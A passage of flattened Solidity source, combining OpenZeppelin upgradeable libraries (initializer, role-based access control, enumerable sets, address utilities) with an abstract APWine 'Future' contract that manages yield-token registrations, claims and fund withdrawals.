require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
// solhint-disable-next-line compiler-version
pragma solidity >=0.4.24 <0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
/// @dev Returns true if and only if the function is running in the constructor
function _isConstructor() private view returns (bool) {
// extcodesize checks the size of the code stored in an address, and
// address returns the current address. Since the code is still not
// deployed when running a constructor, any checks on its code size will
// yield zero, making it an effective way to detect if a contract is
// under construction or not.
address self = address(this);
uint256 cs;
// solhint-disable-next-line no-inline-assembly
assembly { cs := extcodesize(self) }
return cs == 0;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/EnumerableSetUpgradeable.sol";
import "../utils/AddressUpgradeable.sol";
import "../GSN/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControlUpgradeable is Initializable, ContextUpgradeable {
function __AccessControl_init() internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
}
function __AccessControl_init_unchained() internal initializer {
}
using EnumerableSetUpgradeable for EnumerableSetUpgradeable.AddressSet;
using AddressUpgradeable for address;
struct RoleData {
EnumerableSetUpgradeable.AddressSet members;
bytes32 adminRole;
}
mapping (bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view returns (bool) {
return _roles[role].members.contains(account);
}
/**
* @dev Returns the number of accounts that have `role`. Can be used
* together with {getRoleMember} to enumerate all bearers of a role.
*/
function getRoleMemberCount(bytes32 role) public view returns (uint256) {
return _roles[role].members.length();
}
/**
* @dev Returns one of the accounts that have `role`. `index` must be a
* value between 0 and {getRoleMemberCount}, non-inclusive.
*
* Role bearers are not sorted in any particular way, and their ordering may
* change at any point.
*
* WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure
* you perform all queries on the same block. See the following
* https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post]
* for more information.
*/
function getRoleMember(bytes32 role, uint256 index) public view returns (address) {
return _roles[role].members.at(index);
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant");
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual {
require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke");
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, _roles[role].adminRole, adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (_roles[role].members.add(account)) {
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (_roles[role].members.remove(account)) {
emit RoleRevoked(role, account, _msgSender());
}
}
uint256[49] private __gap;
}
pragma solidity 0.7.6;
import "@openzeppelin/contracts-upgradeable/math/SafeMathUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/utils/ReentrancyGuardUpgradeable.sol";
import "contracts/interfaces/IProxyFactory.sol";
import "contracts/interfaces/apwine/tokens/IFutureYieldToken.sol";
import "contracts/interfaces/apwine/utils/IAPWineMath.sol";
import "contracts/interfaces/apwine/tokens/IAPWineIBT.sol";
import "contracts/interfaces/apwine/IFutureWallet.sol";
import "contracts/interfaces/apwine/IFuture.sol";
import "contracts/interfaces/apwine/IController.sol";
import "contracts/interfaces/apwine/IFutureVault.sol";
import "contracts/interfaces/apwine/ILiquidityGauge.sol";
import "contracts/interfaces/apwine/IRegistry.sol";
/**
* @title Main future abstraction contract
* @author Gaspard Peduzzi
* @notice Handles the future mechanisms
* @dev Basis of all mecanisms for futures (registrations, period switch)
*/
abstract contract Future is Initializable, AccessControlUpgradeable, ReentrancyGuardUpgradeable {
using SafeMathUpgradeable for uint256;
/* Structs */
struct Registration {
uint256 startIndex;
uint256 scaledBalance;
}
uint256[] internal registrationsTotals;
/* ACR */
bytes32 public constant CONTROLLER_ROLE = keccak256("CONTROLLER_ROLE");
bytes32 public constant FUTURE_PAUSER = keccak256("FUTURE_PAUSER");
bytes32 public constant FUTURE_DEPLOYER = keccak256("FUTURE_DEPLOYER");
/* State variables */
mapping(address => uint256) internal lastPeriodClaimed;
mapping(address => Registration) internal registrations;
IFutureYieldToken[] public fyts;
/* External contracts */
IFutureVault internal futureVault;
IFutureWallet internal futureWallet;
ILiquidityGauge internal liquidityGauge;
ERC20 internal ibt;
IAPWineIBT internal apwibt;
IController internal controller;
/* Settings */
uint256 public PERIOD_DURATION;
string public PLATFORM_NAME;
bool public PAUSED;
/* Events */
event UserRegistered(address _userAddress, uint256 _amount, uint256 _periodIndex);
event NewPeriodStarted(uint256 _newPeriodIndex, address _fytAddress);
event FutureVaultSet(address _futureVault);
event FutureWalletSet(address _futureWallet);
event LiquidityGaugeSet(address _liquidityGauge);
event FundsWithdrawn(address _user, uint256 _amount);
event PeriodsPaused();
event PeriodsResumed();
/* Modifiers */
modifier nextPeriodAvailable() {
uint256 controllerDelay = controller.STARTING_DELAY();
require(
controller.getNextPeriodStart(PERIOD_DURATION) < block.timestamp.add(controllerDelay),
"Next period start range not reached yet"
);
_;
}
modifier periodsActive() {
require(!PAUSED, "New periods are currently paused");
_;
}
/* Initializer */
/**
* @notice Intializer
* @param _controller the address of the controller
* @param _ibt the address of the corresponding IBT
* @param _periodDuration the length of the period (in days)
* @param _platformName the name of the platform and tools
* @param _admin the address of the ACR admin
*/
function initialize(
address _controller,
address _ibt,
uint256 _periodDuration,
string memory _platformName,
address _deployerAddress,
address _admin
) public virtual initializer {
controller = IController(_controller);
ibt = ERC20(_ibt);
PERIOD_DURATION = _periodDuration * (1 days);
PLATFORM_NAME = _platformName;
_setupRole(DEFAULT_ADMIN_ROLE, _admin);
_setupRole(CONTROLLER_ROLE, _controller);
_setupRole(FUTURE_PAUSER, _controller);
_setupRole(FUTURE_DEPLOYER, _deployerAddress);
registrationsTotals.push();
registrationsTotals.push();
fyts.push();
IRegistry registry = IRegistry(controller.getRegistryAddress());
string memory ibtSymbol = controller.getFutureIBTSymbol(ibt.symbol(), _platformName, _periodDuration);
bytes memory payload =
abi.encodeWithSignature("initialize(string,string,address)", ibtSymbol, ibtSymbol, address(this));
apwibt = IAPWineIBT(
IProxyFactory(registry.getProxyFactoryAddress()).deployMinimal(registry.getAPWineIBTLogicAddress(), payload)
);
}
/* Period functions */
/**
* @notice Start a new period
* @dev needs corresponding permissions for sender
*/
function startNewPeriod() public virtual;
/**
* @notice Sender registers an amount of IBT for the next period
* @param _user address to register to the future
* @param _amount amount of IBT to be registered
* @dev called by the controller only
*/
function register(address _user, uint256 _amount) public virtual periodsActive {
require(hasRole(CONTROLLER_ROLE, msg.sender), "Caller is not allowed to register");
uint256 nextIndex = getNextPeriodIndex();
if (registrations[_user].scaledBalance == 0) {
// User has no record
_register(_user, _amount);
} else {
if (registrations[_user].startIndex == nextIndex) {
// User has already an existing registration for the next period
registrations[_user].scaledBalance = registrations[_user].scaledBalance.add(_amount);
} else {
// User had an unclaimed registation from a previous period
_claimAPWIBT(_user);
_register(_user, _amount);
}
}
emit UserRegistered(_user, _amount, nextIndex);
}
function _register(address _user, uint256 _initialScaledBalance) internal virtual {
registrations[_user] = Registration({startIndex: getNextPeriodIndex(), scaledBalance: _initialScaledBalance});
}
/**
* @notice Sender unregisters an amount of IBT for the next period
* @param _user user address
* @param _amount amount of IBT to be unregistered
*/
function unregister(address _user, uint256 _amount) public virtual;
/* Claim functions */
/**
* @notice Send the user their owed FYT (and apwIBT if there are some claimable)
* @param _user address of the user to send the FYT to
*/
function claimFYT(address _user) public virtual nonReentrant {
require(hasClaimableFYT(_user), "No FYT claimable for this address");
if (hasClaimableAPWIBT(_user)) _claimAPWIBT(_user);
else _claimFYT(_user);
}
function _claimFYT(address _user) internal virtual {
uint256 nextIndex = getNextPeriodIndex();
for (uint256 i = lastPeriodClaimed[_user] + 1; i < nextIndex; i++) {
claimFYTforPeriod(_user, i);
}
}
function claimFYTforPeriod(address _user, uint256 _periodIndex) internal virtual {
assert((lastPeriodClaimed[_user] + 1) == _periodIndex);
assert(_periodIndex < getNextPeriodIndex());
assert(_periodIndex != 0);
lastPeriodClaimed[_user] = _periodIndex;
fyts[_periodIndex].transfer(_user, apwibt.balanceOf(_user));
}
function _claimAPWIBT(address _user) internal virtual {
uint256 nextIndex = getNextPeriodIndex();
uint256 claimableAPWIBT = getClaimableAPWIBT(_user);
if (_hasOnlyClaimableFYT(_user)) _claimFYT(_user);
apwibt.transfer(_user, claimableAPWIBT);
for (uint256 i = registrations[_user].startIndex; i < nextIndex; i++) {
// get unclaimed fyt
fyts[i].transfer(_user, claimableAPWIBT);
}
lastPeriodClaimed[_user] = nextIndex - 1;
delete registrations[_user];
}
/**
* @notice Sender unlocks the locked funds corresponding to their apwIBT holding
* @param _user user adress
* @param _amount amount of funds to unlock
* @dev will require a transfer of FYT of the ongoing period corresponding to the funds unlocked
*/
function withdrawLockFunds(address _user, uint256 _amount) public virtual nonReentrant {
require(hasRole(CONTROLLER_ROLE, msg.sender), "Caller is not allowed to withdraw locked funds");
require((_amount > 0) && (_amount <= apwibt.balanceOf(_user)), "Invalid amount");
if (hasClaimableAPWIBT(_user)) {
_claimAPWIBT(_user);
} else if (hasClaimableFYT(_user)) {
_claimFYT(_user);
}
uint256 unlockableFunds = getUnlockableFunds(_user);
uint256 unrealisedYield = getUnrealisedYield(_user);
uint256 fundsToBeUnlocked = _amount.mul(unlockableFunds).div(apwibt.balanceOf(_user));
uint256 yieldToBeUnlocked = _amount.mul(unrealisedYield).div(apwibt.balanceOf(_user));
uint256 yieldToBeRedeemed = yieldToBeUnlocked.mul(controller.getUnlockYieldFactor(PERIOD_DURATION));
ibt.transferFrom(address(futureVault), _user, fundsToBeUnlocked.add(yieldToBeRedeemed));
ibt.transferFrom(
address(futureVault),
IRegistry(controller.getRegistryAddress()).getTreasuryAddress(),
unrealisedYield.sub(yieldToBeRedeemed)
);
apwibt.burnFrom(_user, _amount);
fyts[getNextPeriodIndex() - 1].burnFrom(_user, _amount);
emit FundsWithdrawn(_user, _amount);
}
/* Utilitary functions */
function deployFutureYieldToken(uint256 _internalPeriodID) internal returns (address) {
IRegistry registry = IRegistry(controller.getRegistryAddress());
string memory tokenDenomination = controller.getFYTSymbol(apwibt.symbol(), PERIOD_DURATION);
bytes memory payload =
abi.encodeWithSignature(
"initialize(string,string,uint256,address)",
tokenDenomination,
tokenDenomination,
_internalPeriodID,
address(this)
);
IFutureYieldToken newToken =
IFutureYieldToken(
IProxyFactory(registry.getProxyFactoryAddress()).deployMinimal(registry.getFYTLogicAddress(), payload)
);
fyts.push(newToken);
newToken.mint(address(this), apwibt.totalSupply().mul(10**(uint256(18 - ibt.decimals()))));
return address(newToken);
}
/* Getters */
/**
* @notice Check if a user has unclaimed FYT
* @param _user the user to check
* @return true if the user can claim some FYT, false otherwise
*/
function hasClaimableFYT(address _user) public view returns (bool) {
return hasClaimableAPWIBT(_user) || _hasOnlyClaimableFYT(_user);
}
function _hasOnlyClaimableFYT(address _user) internal view returns (bool) {
return lastPeriodClaimed[_user] != 0 && lastPeriodClaimed[_user] < getNextPeriodIndex() - 1;
}
/**
* @notice Check if a user has IBT not claimed
* @param _user the user to check
* @return true if the user can claim some IBT, false otherwise
*/
function hasClaimableAPWIBT(address _user) public view returns (bool) {
return (registrations[_user].startIndex < getNextPeriodIndex()) && (registrations[_user].scaledBalance > 0);
}
/**
* @notice Getter for next period index
* @return next period index
* @dev index starts at 1
*/
function getNextPeriodIndex() public view virtual returns (uint256) {
return registrationsTotals.length - 1;
}
/**
* @notice Getter for the amount of apwIBT that the user can claim
* @param _user user to check the check the claimable apwIBT of
* @return the amount of apwIBT claimable by the user
*/
function getClaimableAPWIBT(address _user) public view virtual returns (uint256);
/**
* @notice Getter for the amount of FYT that the user can claim for a certain period
* @param _user the user to check the claimable FYT of
* @param _periodID period ID to check the claimable FYT of
* @return the amount of FYT claimable by the user for this period ID
*/
function getClaimableFYTForPeriod(address _user, uint256 _periodID) public view virtual returns (uint256) {
if (
_periodID >= getNextPeriodIndex() ||
registrations[_user].startIndex == 0 ||
registrations[_user].scaledBalance == 0 ||
registrations[_user].startIndex > _periodID
) {
return 0;
} else {
return getClaimableAPWIBT(_user);
}
}
/**
* @notice Getter for user IBT amount that is unlockable
* @param _user the user to unlock the IBT from
* @return the amount of IBT the user can unlock
*/
function getUnlockableFunds(address _user) public view virtual returns (uint256) {
return apwibt.balanceOf(_user);
}
/**
* @notice Getter for user registered amount
* @param _user the user to return the registered funds of
* @return the registered amount, 0 if no registrations
* @dev the registration can be older than the next period
*/
function getRegisteredAmount(address _user) public view virtual returns (uint256);
/**
* @notice Getter for yield that is generated by the user funds during the current period
* @param _user the user to check the unrealized yield of
* @return the yield (amount of IBT) currently generated by the locked funds of the user
*/
function getUnrealisedYield(address _user) public view virtual returns (uint256);
/**
* @notice Getter for controller address
* @return the controller address
*/
function getControllerAddress() public view returns (address) {
return address(controller);
}
/**
* @notice Getter for future wallet address
* @return future wallet address
*/
function getFutureVaultAddress() public view returns (address) {
return address(futureVault);
}
/**
* @notice Getter for futureWallet address
* @return futureWallet address
*/
function getFutureWalletAddress() public view returns (address) {
return address(futureWallet);
}
/**
* @notice Getter for liquidity gauge address
* @return liquidity gauge address
*/
function getLiquidityGaugeAddress() public view returns (address) {
return address(liquidityGauge);
}
/**
* @notice Getter for the IBT address
* @return IBT address
*/
function getIBTAddress() public view returns (address) {
return address(ibt);
}
/**
* @notice Getter for future apwIBT address
* @return apwIBT address
*/
function getAPWIBTAddress() public view returns (address) {
return address(apwibt);
}
/**
* @notice Getter for FYT address of a particular period
* @param _periodIndex period index
* @return FYT address
*/
function getFYTofPeriod(uint256 _periodIndex) public view returns (address) {
require(_periodIndex < getNextPeriodIndex(), "No FYT for this period yet");
return address(fyts[_periodIndex]);
}
/* Admin function */
/**
* @notice Pause registrations and the creation of new periods
*/
function pausePeriods() public {
require(hasRole(FUTURE_PAUSER, msg.sender), "Caller is not allowed to pause future");
PAUSED = true;
emit PeriodsPaused();
}
/**
* @notice Resume registrations and the creation of new periods
*/
function resumePeriods() public {
require(hasRole(FUTURE_PAUSER, msg.sender), "Caller is not allowed to resume future");
PAUSED = false;
emit PeriodsResumed();
}
/**
* @notice Set future wallet address
* @param _futureVault the address of the new future wallet
* @dev needs corresponding permissions for sender
*/
function setFutureVault(address _futureVault) public {
require(hasRole(FUTURE_DEPLOYER, msg.sender), "Caller is not allowed to set the future vault address");
futureVault = IFutureVault(_futureVault);
emit FutureVaultSet(_futureVault);
}
/**
* @notice Set futureWallet address
* @param _futureWallet the address of the new futureWallet
* @dev needs corresponding permissions for sender
*/
function setFutureWallet(address _futureWallet) public {
require(hasRole(FUTURE_DEPLOYER, msg.sender), "Caller is not allowed to set the future wallet address");
futureWallet = IFutureWallet(_futureWallet);
emit FutureWalletSet(_futureWallet);
}
/**
* @notice Set liquidity gauge address
* @param _liquidityGauge the address of the new liquidity gauge
* @dev needs corresponding permissions for sender
*/
function setLiquidityGauge(address _liquidityGauge) public {
require(hasRole(FUTURE_DEPLOYER, msg.sender), "Caller is not allowed to set the liquidity gauge address");
liquidityGauge = ILiquidityGauge(_liquidityGauge);
emit LiquidityGaugeSet(_liquidityGauge);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSetUpgradeable {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
